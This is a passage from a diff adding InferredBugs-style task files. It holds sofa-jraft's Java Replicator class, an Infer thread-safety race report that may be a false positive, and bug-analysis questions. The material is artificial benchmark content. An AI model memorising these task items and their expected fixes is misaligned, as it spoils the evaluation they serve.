+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return;
+            }
+            if (!response.getSuccess() && response.hasLastLogIndex()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, response term ").append(response.getTerm()).append(" lastLogIndex ")
+                        .append(response.getLastLogIndex());
+                    LOG.debug(sb.toString());
+                }
+                LOG.warn("Heartbeat to peer {} failure, try to send a probe request.", r.options.getPeerId());
+                doUnlock = false;
+                r.sendEmptyEntries(false);
+                r.startHeartbeatTimer(startTimeMs);
+                return;
+            }
+            if (isLogDebugEnabled) {
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            r.startHeartbeatTimer(startTimeMs);
+        } finally {
+            if (doUnlock) {
+                id.unlock();
+            }
+        }
+    }
+
+    @SuppressWarnings("ContinueOrBreakFromFinallyBlock")
+    static void onRpcReturned(final ThreadId id, final RequestType reqType, final Status status, final Message request,
+                              final Message response, final int seq, final int stateVersion, final long rpcSendTime) {
+        if (id == null) {
+            return;
+        }
+        final long startTimeMs = Utils.nowMs();
+        Replicator r;
+        if ((r = (Replicator) id.lock()) == null) {
+            return;
+        }
+
+        if (stateVersion != r.version) {
+            LOG.debug(
+                "Replicator {} ignored old version response {}, current version is {}, request is {}\n, and response is {}\n, status is {}.",
+                r, stateVersion, r.version, request, response, status);
+            id.unlock();
+            return;
+        }
+
+        final PriorityQueue<RpcResponse> holdingQueue = r.pendingResponses;
+        holdingQueue.add(new RpcResponse(reqType, seq, status, request, response, rpcSendTime));
+
+        if (holdingQueue.size() > r.raftOptions.getMaxReplicatorInflightMsgs()) {
+            LOG.warn("Too many pending responses {} for replicator {}, maxReplicatorInflightMsgs={}",
+                holdingQueue.size(), r.options.getPeerId(), r.raftOptions.getMaxReplicatorInflightMsgs());
+            r.resetInflights();
+            r.state = State.Probe;
+            r.sendEmptyEntries(false);
+            return;
+        }
+
+        boolean continueSendEntries = false;
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Replicator ").append(r).append(" is processing RPC responses,");
+        }
+        try {
+            int processed = 0;
+            while (!holdingQueue.isEmpty()) {
+                final RpcResponse queuedPipelinedResponse = holdingQueue.peek();
+
+                //sequence mismatch, waiting for next response.
+                if (queuedPipelinedResponse.seq != r.requiredNextSeq) {
+                    if (processed > 0) {
+                        if (isLogDebugEnabled) {
+                            sb.append("has processed ").append(processed).append(" responses,");
+                        }
+                        break;
+                    } else {
+                        //Do not processed any responses, UNLOCK id and return.
+                        continueSendEntries = false;
+                        id.unlock();
+                        return;
+                    }
+                }
+                holdingQueue.remove();
+                processed++;
+                final Inflight inflight = r.pollInflight();
+                if (inflight == null) {
+                    // The previous in-flight requests were cleared.
+                    if (isLogDebugEnabled) {
+                        sb.append("ignore response because request not found:").append(queuedPipelinedResponse)
+                            .append(",\n");
+                    }
+                    continue;
+                }
+                if (inflight.seq != queuedPipelinedResponse.seq) {
+                    // reset state
+                    LOG.warn(
+                        "Replicator {} response sequence out of order, expect {}, but it is {}, reset state to try again.",
+                        r, inflight.seq, queuedPipelinedResponse.seq);
+                    r.resetInflights();
+                    r.state = State.Probe;
+                    continueSendEntries = false;
+                    r.block(Utils.nowMs(), RaftError.EREQUEST.getNumber());
+                    return;
+                }
+                try {
+                    switch (queuedPipelinedResponse.requestType) {
+                        case AppendEntries:
+                            continueSendEntries = onAppendEntriesReturned(id, inflight, queuedPipelinedResponse.status,
+                                (AppendEntriesRequest) queuedPipelinedResponse.request,
+                                (AppendEntriesResponse) queuedPipelinedResponse.response, rpcSendTime, startTimeMs, r);
+                            break;
+                        case Snapshot:
+                            continueSendEntries = onInstallSnapshotReturned(id, r, queuedPipelinedResponse.status,
+                                (InstallSnapshotRequest) queuedPipelinedResponse.request,
+                                (InstallSnapshotResponse) queuedPipelinedResponse.response);
+                            break;
+                    }
+                } finally {
+                    if (continueSendEntries) {
+                        // Success, increase the response sequence.
+                        r.getAndIncrementRequiredNextSeq();
+                    } else {
+                        // The id is already unlocked in onAppendEntriesReturned/onInstallSnapshotReturned, we SHOULD break out.
+                        break;
+                    }
+                }
+            }
+        } finally {
+            if (isLogDebugEnabled) {
+                sb.append(", after processed, continue to send entries: ").append(continueSendEntries);
+                LOG.debug(sb.toString());
+            }
+            if (continueSendEntries) {
+                // unlock in sendEntries.
+                r.sendEntries();
+            }
+        }
+    }
+
+    /**
+     * Reset in-flight state.
+     */
+    void resetInflights() {
+        this.version++;
+        this.inflights.clear();
+        this.pendingResponses.clear();
+        final int rs = Math.max(this.reqSeq, this.requiredNextSeq);
+        this.reqSeq = this.requiredNextSeq = rs;
+        releaseReader();
+    }
+
+    private static boolean onAppendEntriesReturned(final ThreadId id, final Inflight inflight, final Status status,
+                                                   final AppendEntriesRequest request,
+                                                   final AppendEntriesResponse response, final long rpcSendTime,
+                                                   final long startTimeMs, final Replicator r) {
+        if (inflight.startIndex != request.getPrevLogIndex() + 1) {
+            LOG.warn(
+                "Replicator {} received invalid AppendEntriesResponse, in-flight startIndex={}, request prevLogIndex={}, reset the replicator state and probe again.",
+                r, inflight.startIndex, request.getPrevLogIndex());
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock id in sendEmptyEntries
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        // record metrics
+        if (request.getEntriesCount() > 0) {
+            r.nodeMetrics.recordLatency("replicate-entries", Utils.monotonicMs() - rpcSendTime);
+            r.nodeMetrics.recordSize("replicate-entries-count", request.getEntriesCount());
+            r.nodeMetrics.recordSize("replicate-entries-bytes", request.getData() != null ? request.getData().size()
+                : 0);
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received AppendEntriesResponse from "). //
+                append(r.options.getPeerId()). //
+                append(" prevLogIndex=").append(request.getPrevLogIndex()). //
+                append(" prevLogTerm=").append(request.getPrevLogTerm()). //
+                append(" count=").append(request.getEntriesCount());
+        }
+        if (!status.isOk()) {
+            // If the follower crashes, any RPC to the follower fails immediately,
+            // so we need to block the follower for a while instead of looping until
+            // it comes back or be removed
+            // dummy_id is unlock in block
+            if (isLogDebugEnabled) {
+                sb.append(" fail, sleep.");
+                LOG.debug(sb.toString());
+            }
+            if (++r.consecutiveErrorTimes % 10 == 0) {
+                LOG.warn("Fail to issue RPC to {}, consecutiveErrorTimes={}, error={}", r.options.getPeerId(),
+                    r.consecutiveErrorTimes, status);
+            }
+            r.resetInflights();
+            r.state = State.Probe;
+            // unlock in in block
+            r.block(startTimeMs, status.getCode());
+            return false;
+        }
+        r.consecutiveErrorTimes = 0;
+        if (!response.getSuccess()) {
+            if (response.getTerm() > r.options.getTerm()) {
+                if (isLogDebugEnabled) {
+                    sb.append(" fail, greater term ").append(response.getTerm()).append(" expect term ")
+                        .append(r.options.getTerm());
+                    LOG.debug(sb.toString());
+                }
+                final NodeImpl node = r.options.getNode();
+                r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+                r.destroy();
+                node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                    "Leader receives higher term heartbeat_response from peer:%s", r.options.getPeerId()));
+                return false;
+            }
+            if (isLogDebugEnabled) {
+                sb.append(" fail, find nextIndex remote lastLogIndex ").append(response.getLastLogIndex())
+                    .append(" local nextIndex ").append(r.nextIndex);
+                LOG.debug(sb.toString());
+            }
+            if (rpcSendTime > r.lastRpcSendTimestamp) {
+                r.lastRpcSendTimestamp = rpcSendTime;
+            }
+            // Fail, reset the state to try again from nextIndex.
+            r.resetInflights();
+            // prev_log_index and prev_log_term doesn't match
+            if (response.getLastLogIndex() + 1 < r.nextIndex) {
+                LOG.debug("LastLogIndex at peer={} is {}", r.options.getPeerId(), response.getLastLogIndex());
+                // The peer contains less logs than leader
+                r.nextIndex = response.getLastLogIndex() + 1;
+            } else {
+                // The peer contains logs from old term which should be truncated,
+                // decrease _last_log_at_peer by one to test the right index to keep
+                if (r.nextIndex > 1) {
+                    LOG.debug("logIndex={} dismatch", r.nextIndex);
+                    r.nextIndex--;
+                } else {
+                    LOG.error("Peer={} declares that log at index=0 doesn't match, which is not supposed to happen",
+                        r.options.getPeerId());
+                }
+            }
+            // dummy_id is unlock in _send_heartbeat
+            r.sendEmptyEntries(false);
+            return false;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(", success");
+            LOG.debug(sb.toString());
+        }
+        // success
+        if (response.getTerm() != r.options.getTerm()) {
+            r.resetInflights();
+            r.state = State.Probe;
+            LOG.error("Fail, response term {} dismatch, expect term {}", response.getTerm(), r.options.getTerm());
+            id.unlock();
+            return false;
+        }
+        if (rpcSendTime > r.lastRpcSendTimestamp) {
+            r.lastRpcSendTimestamp = rpcSendTime;
+        }
+        final int entriesSize = request.getEntriesCount();
+        if (entriesSize > 0) {
+            r.options.getBallotBox().commitAt(r.nextIndex, r.nextIndex + entriesSize - 1, r.options.getPeerId());
+            if (LOG.isDebugEnabled()) {
+                LOG.debug("Replicated logs in [{}, {}] to peer {}", r.nextIndex, r.nextIndex + entriesSize - 1,
+                    r.options.getPeerId());
+            }
+        } else {
+            // The request is probe request, change the state into Replicate.
+            r.state = State.Replicate;
+        }
+        r.nextIndex += entriesSize;
+        r.hasSucceeded = true;
+        r.notifyOnCaughtUp(RaftError.SUCCESS.getNumber(), false);
+        // dummy_id is unlock in _send_entries
+        if (r.timeoutNowIndex > 0 && r.timeoutNowIndex < r.nextIndex) {
+            r.sendTimeoutNow(false, false);
+        }
+        return true;
+    }
+
+    private boolean fillCommonFields(final AppendEntriesRequest.Builder rb, long prevLogIndex, final boolean isHeartbeat) {
+        final long prevLogTerm = this.options.getLogManager().getTerm(prevLogIndex);
+        if (prevLogTerm == 0 && prevLogIndex != 0) {
+            if (!isHeartbeat) {
+                Requires.requireTrue(prevLogIndex < this.options.getLogManager().getFirstLogIndex());
+                LOG.debug("logIndex={} was compacted", prevLogIndex);
+                return false;
+            } else {
+                // The log at prev_log_index has been compacted, which indicates
+                // we is or is going to install snapshot to the follower. So we let
+                // both prev_log_index and prev_log_term be 0 in the heartbeat
+                // request so that follower would do nothing besides updating its
+                // leader timestamp.
+                prevLogIndex = 0;
+            }
+        }
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        rb.setPrevLogIndex(prevLogIndex);
+        rb.setPrevLogTerm(prevLogTerm);
+        rb.setCommittedIndex(this.options.getBallotBox().getLastCommittedIndex());
+        return true;
+    }
+
+    private void waitMoreEntries(final long nextWaitIndex) {
+        try {
+            LOG.debug("Node {} waits more entries", this.options.getNode().getNodeId());
+            if (this.waitId >= 0) {
+                return;
+            }
+            this.waitId = this.options.getLogManager().wait(nextWaitIndex - 1,
+                (arg, errorCode) -> continueSending((ThreadId) arg, errorCode), this.id);
+            this.statInfo.runningState = RunningState.IDLE;
+        } finally {
+            this.id.unlock();
+        }
+    }
+
+    /**
+     * Send as many requests as possible.
+     */
+    void sendEntries() {
+        boolean doUnlock = true;
+        try {
+            long prevSendIndex = -1;
+            while (true) {
+                final long nextSendingIndex = getNextSendIndex();
+                if (nextSendingIndex > prevSendIndex) {
+                    if (sendEntries(nextSendingIndex)) {
+                        prevSendIndex = nextSendingIndex;
+                    } else {
+                        doUnlock = false;
+                        // id already unlock in sendEntries when it returns false.
+                        break;
+                    }
+                } else {
+                    break;
+                }
+            }
+        } finally {
+            if (doUnlock) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    /**
+     * Send log entries to follower, returns true when success, otherwise false and unlock the id.
+     *
+     * @param nextSendingIndex next sending index
+     * @return send result.
+     */
+    private boolean sendEntries(final long nextSendingIndex) {
+        final AppendEntriesRequest.Builder rb = AppendEntriesRequest.newBuilder();
+        if (!fillCommonFields(rb, nextSendingIndex - 1, false)) {
+            // unlock id in installSnapshot
+            installSnapshot();
+            return false;
+        }
+
+        ByteBufferCollector dataBuf = null;
+        final int maxEntriesSize = this.raftOptions.getMaxEntriesSize();
+        final RecyclableByteBufferList byteBufList = RecyclableByteBufferList.newInstance();
+        try {
+            for (int i = 0; i < maxEntriesSize; i++) {
+                final RaftOutter.EntryMeta.Builder emb = RaftOutter.EntryMeta.newBuilder();
+                if (!prepareEntry(nextSendingIndex, i, emb, byteBufList)) {
+                    break;
+                }
+                rb.addEntries(emb.build());
+            }
+            if (rb.getEntriesCount() == 0) {
+                if (nextSendingIndex < this.options.getLogManager().getFirstLogIndex()) {
+                    installSnapshot();
+                    return false;
+                }
+                // _id is unlock in _wait_more
+                waitMoreEntries(nextSendingIndex);
+                return false;
+            }
+            if (byteBufList.getCapacity() > 0) {
+                dataBuf = ByteBufferCollector.allocateByRecyclers(byteBufList.getCapacity());
+                for (final ByteBuffer b : byteBufList) {
+                    dataBuf.put(b);
+                }
+                final ByteBuffer buf = dataBuf.getBuffer();
+                buf.flip();
+                rb.setData(ZeroByteStringHelper.wrap(buf));
+            }
+        } finally {
+            RecycleUtil.recycle(byteBufList);
+        }
+
+        final AppendEntriesRequest request = rb.build();
+        if (LOG.isDebugEnabled()) {
+            LOG.debug(
+                "Node {} send AppendEntriesRequest to {} term {} lastCommittedIndex {} prevLogIndex {} prevLogTerm {} logIndex {} count {}",
+                this.options.getNode().getNodeId(), this.options.getPeerId(), this.options.getTerm(),
+                request.getCommittedIndex(), request.getPrevLogIndex(), request.getPrevLogTerm(), nextSendingIndex,
+                request.getEntriesCount());
+        }
+        this.statInfo.runningState = RunningState.APPENDING_ENTRIES;
+        this.statInfo.firstLogIndex = rb.getPrevLogIndex() + 1;
+        this.statInfo.lastLogIndex = rb.getPrevLogIndex() + rb.getEntriesCount();
+
+        final Recyclable recyclable = dataBuf;
+        final int v = this.version;
+        final long monotonicSendTimeMs = Utils.monotonicMs();
+        final int seq = getAndIncrementReqSeq();
+        final Future<Message> rpcFuture = this.rpcService.appendEntries(this.options.getPeerId().getEndpoint(),
+            request, -1, new RpcResponseClosureAdapter<AppendEntriesResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    RecycleUtil.recycle(recyclable);
+                    onRpcReturned(Replicator.this.id, RequestType.AppendEntries, status, request, getResponse(), seq,
+                        v, monotonicSendTimeMs);
+                }
+
+            });
+        addInflight(RequestType.AppendEntries, nextSendingIndex, request.getEntriesCount(), request.getData().size(),
+            seq, rpcFuture);
+        return true;
+
+    }
+
+    public static void sendHeartbeat(final ThreadId id, final RpcResponseClosure<AppendEntriesResponse> closure) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            Utils.runClosureInThread(closure, new Status(RaftError.EHOSTDOWN, "Peer %s is not connected", id));
+            return;
+        }
+        //id unlock in send empty entries.
+        r.sendEmptyEntries(true, closure);
+    }
+
+    private static void sendHeartbeat(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+        // unlock in sendEmptyEntries
+        r.sendEmptyEntries(true);
+    }
+
+    @SuppressWarnings("SameParameterValue")
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish) {
+        sendTimeoutNow(unlockId, stopAfterFinish, -1);
+    }
+
+    private void sendTimeoutNow(final boolean unlockId, final boolean stopAfterFinish, final int timeoutMs) {
+        final TimeoutNowRequest.Builder rb = TimeoutNowRequest.newBuilder();
+        rb.setTerm(this.options.getTerm());
+        rb.setGroupId(this.options.getGroupId());
+        rb.setServerId(this.options.getServerId().toString());
+        rb.setPeerId(this.options.getPeerId().toString());
+        try {
+            if (!stopAfterFinish) {
+                // This RPC is issued by transfer_leadership, save this call_id so that
+                // the RPC can be cancelled by stop.
+                this.timeoutNowInFly = timeoutNow(rb, false, timeoutMs);
+                this.timeoutNowIndex = 0;
+            } else {
+                timeoutNow(rb, true, timeoutMs);
+            }
+        } finally {
+            if (unlockId) {
+                this.id.unlock();
+            }
+        }
+
+    }
+
+    private Future<Message> timeoutNow(final TimeoutNowRequest.Builder rb, final boolean stopAfterFinish,
+                                       final int timeoutMs) {
+        final TimeoutNowRequest request = rb.build();
+        return this.rpcService.timeoutNow(this.options.getPeerId().getEndpoint(), request, timeoutMs,
+            new RpcResponseClosureAdapter<TimeoutNowResponse>() {
+
+                @Override
+                public void run(final Status status) {
+                    if (Replicator.this.id != null) {
+                        onTimeoutNowReturned(Replicator.this.id, status, request, getResponse(), stopAfterFinish);
+                    }
+                }
+
+            });
+    }
+
+    @SuppressWarnings("unused")
+    static void onTimeoutNowReturned(final ThreadId id, final Status status, final TimeoutNowRequest request,
+                                     final TimeoutNowResponse response, final boolean stopAfterFinish) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return;
+        }
+
+        final boolean isLogDebugEnabled = LOG.isDebugEnabled();
+        StringBuilder sb = null;
+        if (isLogDebugEnabled) {
+            sb = new StringBuilder("Node "). //
+                append(r.options.getGroupId()).append(":").append(r.options.getServerId()). //
+                append(" received TimeoutNowResponse from "). //
+                append(r.options.getPeerId());
+        }
+        if (!status.isOk()) {
+            if (isLogDebugEnabled) {
+                sb.append(" fail:").append(status);
+                LOG.debug(sb.toString());
+            }
+            if (stopAfterFinish) {
+                r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+                r.destroy();
+            } else {
+                id.unlock();
+            }
+            return;
+        }
+        if (isLogDebugEnabled) {
+            sb.append(response.getSuccess() ? " success" : " fail");
+            LOG.debug(sb.toString());
+        }
+        if (response.getTerm() > r.options.getTerm()) {
+            final NodeImpl node = r.options.getNode();
+            r.notifyOnCaughtUp(RaftError.EPERM.getNumber(), true);
+            r.destroy();
+            node.increaseTermTo(response.getTerm(), new Status(RaftError.EHIGHERTERMRESPONSE,
+                "Leader receives higher term timeout_now_response from peer:%s", r.options.getPeerId()));
+            return;
+        }
+        if (stopAfterFinish) {
+            r.notifyOnCaughtUp(RaftError.ESTOP.getNumber(), true);
+            r.destroy();
+        } else {
+            id.unlock();
+        }
+
+    }
+
+    public static boolean stop(final ThreadId id) {
+        id.setError(RaftError.ESTOP.getNumber());
+        return true;
+    }
+
+    public static boolean join(final ThreadId id) {
+        id.join();
+        return true;
+    }
+
+    public static long getLastRpcSendTimestamp(final ThreadId id) {
+        final Replicator r = (Replicator) id.getData();
+        if (r == null) {
+            return 0L;
+        }
+        return r.lastRpcSendTimestamp;
+    }
+
+    public static boolean transferLeadership(final ThreadId id, final long logIndex) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // dummy is unlock in _transfer_leadership
+        return r.transferLeadership(logIndex);
+    }
+
+    private boolean transferLeadership(final long logIndex) {
+        if (this.hasSucceeded && this.nextIndex > logIndex) {
+            // _id is unlock in _send_timeout_now
+            this.sendTimeoutNow(true, false);
+            return true;
+        }
+        // Register log_index so that _on_rpc_return trigger
+        // _send_timeout_now if _next_index reaches log_index
+        this.timeoutNowIndex = logIndex;
+        this.id.unlock();
+        return true;
+    }
+
+    public static boolean stopTransferLeadership(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        r.timeoutNowIndex = 0;
+        id.unlock();
+        return true;
+    }
+
+    public static boolean sendTimeoutNowAndStop(final ThreadId id, final int timeoutMs) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return false;
+        }
+        // id unlock in sendTimeoutNow
+        r.sendTimeoutNow(true, true, timeoutMs);
+        return true;
+    }
+
+    public static long getNextIndex(final ThreadId id) {
+        final Replicator r = (Replicator) id.lock();
+        if (r == null) {
+            return 0;
+        }
+        long nextIdx = 0;
+        if (r.hasSucceeded) {
+            nextIdx = r.nextIndex;
+        }
+        id.unlock();
+        return nextIdx;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.alipay.sofa.jraft.core.Replicator.onTimeoutNowReturned` indirectly reads with synchronization from `n$20.com.alipay.sofa.jraft.entity.PeerId.endpoint.com.alipay.sofa.jraft.util.Endpoint.str`. Potentially races with unsynchronized write in method `Replicator.onInstallSnapshotReturned(...)`.
+ Reporting because the current class is annotated `@ThreadSafe`, so we assume that this method can run in parallel with other non-private methods in the class (including itself).
+
+Note that the prefix path n$20 has been contaminated during the execution, so the reported race on n$20.com.alipay.sofa.jraft.entity.PeerId.endpoint.com.alipay.sofa.jraft.util.Endpoint.str might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Replicator.onTimeoutNowReturned(ThreadId,Status,RpcRequests$TimeoutNowRequest,RpcRequests$TimeoutNowResponse,boolean)
+
+### Procedure Id:
+com.alipay.sofa.jraft.core.Replicator.onTimeoutNowReturned(com.alipay.sofa.jraft.util.ThreadId,com.a.6987879c1f6ebbfa06df076f1b8b71df
+
+### File:
+jraft-core/src/main/java/com/alipay/sofa/jraft/core/Replicator.java
+
+### Key:
+Replicator.java|onTimeoutNowReturned|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+edcb319307ea52ab2134e5e025e5e3da
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9219/instruction.md b/inferredbugs-9219/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d8cb371dda49e89b8f04387bad82297631580485
--- /dev/null
+++ b/inferredbugs-9219/instruction.md
@@ -0,0 +1,1710 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sofa-jraft
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.alipay.sofa.jraft.core;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayDeque;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.PriorityQueue;
+import java.util.concurrent.Future;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.concurrent.ThreadSafe;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.alipay.sofa.jraft.Status;
+import com.alipay.sofa.jraft.closure.CatchUpClosure;
+import com.alipay.sofa.jraft.entity.EnumOutter;
+import com.alipay.sofa.jraft.entity.LogEntry;
+import com.alipay.sofa.jraft.entity.PeerId;
+import com.alipay.sofa.jraft.entity.RaftOutter;
+import com.alipay.sofa.jraft.error.RaftError;
+import com.alipay.sofa.jraft.error.RaftException;
+import com.alipay.sofa.jraft.option.RaftOptions;
+import com.alipay.sofa.jraft.option.ReplicatorOptions;
+import com.alipay.sofa.jraft.rpc.RaftClientService;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.AppendEntriesResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.InstallSnapshotResponse;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowRequest;
+import com.alipay.sofa.jraft.rpc.RpcRequests.TimeoutNowResponse;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosure;
+import com.alipay.sofa.jraft.rpc.RpcResponseClosureAdapter;
+import com.alipay.sofa.jraft.storage.snapshot.SnapshotReader;
+import com.alipay.sofa.jraft.util.ByteBufferCollector;
+import com.alipay.sofa.jraft.util.OnlyForTest;
+import com.alipay.sofa.jraft.util.Recyclable;
+import com.alipay.sofa.jraft.util.RecyclableByteBufferList;
+import com.alipay.sofa.jraft.util.RecycleUtil;
+import com.alipay.sofa.jraft.util.Requires;
+import com.alipay.sofa.jraft.util.ThreadId;
+import com.alipay.sofa.jraft.util.Utils;
+import com.codahale.metrics.Gauge;
+import com.codahale.metrics.Metric;
+import com.codahale.metrics.MetricRegistry;
+import com.codahale.metrics.MetricSet;
+import com.google.protobuf.Message;
+import com.google.protobuf.ZeroByteStringHelper;
+
+/**
+ * Replicator for replicating log entry from leader to followers.
+ * @author boyan (boyan@alibaba-inc.com)
+ *
+ * 2018-Apr-04 10:32:02 AM
+ */
+@ThreadSafe
+public class Replicator implements ThreadId.OnError {
+
+    private static final Logger              LOG                    = LoggerFactory.getLogger(Replicator.class);
+
+    private final RaftClientService          rpcService;
+    // Next sending log index
+    private volatile long                    nextIndex;
+    private int                              consecutiveErrorTimes  = 0;
+    private boolean                          hasSucceeded;
+    private long                             timeoutNowIndex;
+    private volatile long                    lastRpcSendTimestamp;
+    private volatile long                    heartbeatCounter       = 0;
+    private volatile long                    appendEntriesCounter   = 0;
+    private volatile long                    installSnapshotCounter = 0;
+    protected Stat                           statInfo               = new Stat();
+    private ScheduledFuture<?>               blockTimer;
+
+    // Cached the latest RPC in-flight request.
+    private Inflight                         rpcInFly;
+    // Heartbeat RPC future
+    private Future<Message>                  heartbeatInFly;
+    // Timeout request RPC future
+    private Future<Message>                  timeoutNowInFly;
+    // In-flight RPC requests, FIFO queue
+    private final ArrayDeque<Inflight>       inflights              = new ArrayDeque<>();
+
+    private long                             waitId                 = -1L;
+    protected ThreadId                       id;
+    private final ReplicatorOptions          options;
+    private final RaftOptions                raftOptions;
+
+    private ScheduledFuture<?>               heartbeatTimer;
+    private volatile SnapshotReader          reader;
+    private CatchUpClosure                   catchUpClosure;
+    private final TimerManager               timerManager;
+    private final NodeMetrics                nodeMetrics;
+    private volatile State                   state;
+
+    // Request sequence
+    private int                              reqSeq                 = 0;
+    // Response sequence
+    private int                              requiredNextSeq        = 0;
+    // Replicator state reset version
+    private int                              version                = 0;
+
+    // Pending response queue;
+    private final PriorityQueue<RpcResponse> pendingResponses       = new PriorityQueue<>(50);
+
+    private int getAndIncrementReqSeq() {
+        final int prev = this.reqSeq;
+        this.reqSeq++;
+        if (this.reqSeq < 0) {
+            this.reqSeq = 0;
+        }
+        return prev;
+    }
+
+    private int getAndIncrementRequiredNextSeq() {
+        final int prev = this.requiredNextSeq;
+        this.requiredNextSeq++;
+        if (this.requiredNextSeq < 0) {
+            this.requiredNextSeq = 0;
+        }
+        return prev;
+    }
+
+    /**
+     * Replicator state
+     * @author dennis
+     *
+     */
+    public enum State {
+        Probe, // probe follower state
+        Snapshot, // installing snapshot to follower
+        Replicate, // replicate logs normally
+        Destroyed // destroyed
+    }
+
+    public Replicator(final ReplicatorOptions replicatorOptions, final RaftOptions raftOptions) {
+        super();
+        this.options = replicatorOptions;
+        this.nodeMetrics = this.options.getNode().getNodeMetrics();
+        this.nextIndex = this.options.getLogManager().getLastLogIndex() + 1;
+        this.timerManager = replicatorOptions.getTimerManager();
+        this.raftOptions = raftOptions;
+        this.rpcService = replicatorOptions.getRaftRpcService();
+    }
+
+    /**
+     * Replicator metric set.
+     * @author dennis
+     *
+     */
+    private static final class ReplicatorMetricSet implements MetricSet {
+        private final ReplicatorOptions opts;
+        private final Replicator        r;
+
+        private ReplicatorMetricSet(final ReplicatorOptions opts, final Replicator r) {
+            this.opts = opts;
+            this.r = r;
+        }
+
+        @Override
+        public Map<String, Metric> getMetrics() {
+            final Map<String, Metric> gauges = new HashMap<>();
+            gauges.put("log-lags",
+                (Gauge<Long>) () -> this.opts.getLogManager().getLastLogIndex() - (this.r.nextIndex - 1));
+            gauges.put("next-index", (Gauge<Long>) () -> this.r.nextIndex);
+            gauges.put("heartbeat-times", (Gauge<Long>) () -> this.r.heartbeatCounter);
+            gauges.put("install-snapshot-times", (Gauge<Long>) () -> this.r.installSnapshotCounter);
+            gauges.put("append-entries-times", (Gauge<Long>) () -> this.r.appendEntriesCounter);
+            return gauges;
+        }
+    }
+
+    /**
+     * Internal state
+     * @author boyan (boyan@alibaba-inc.com)
+     *
+     * 2018-Apr-04 10:38:45 AM
+     */
+    enum RunningState {
+        IDLE, // idle
+        BLOCKING, // blocking state
+        APPENDING_ENTRIES, // appending log entries
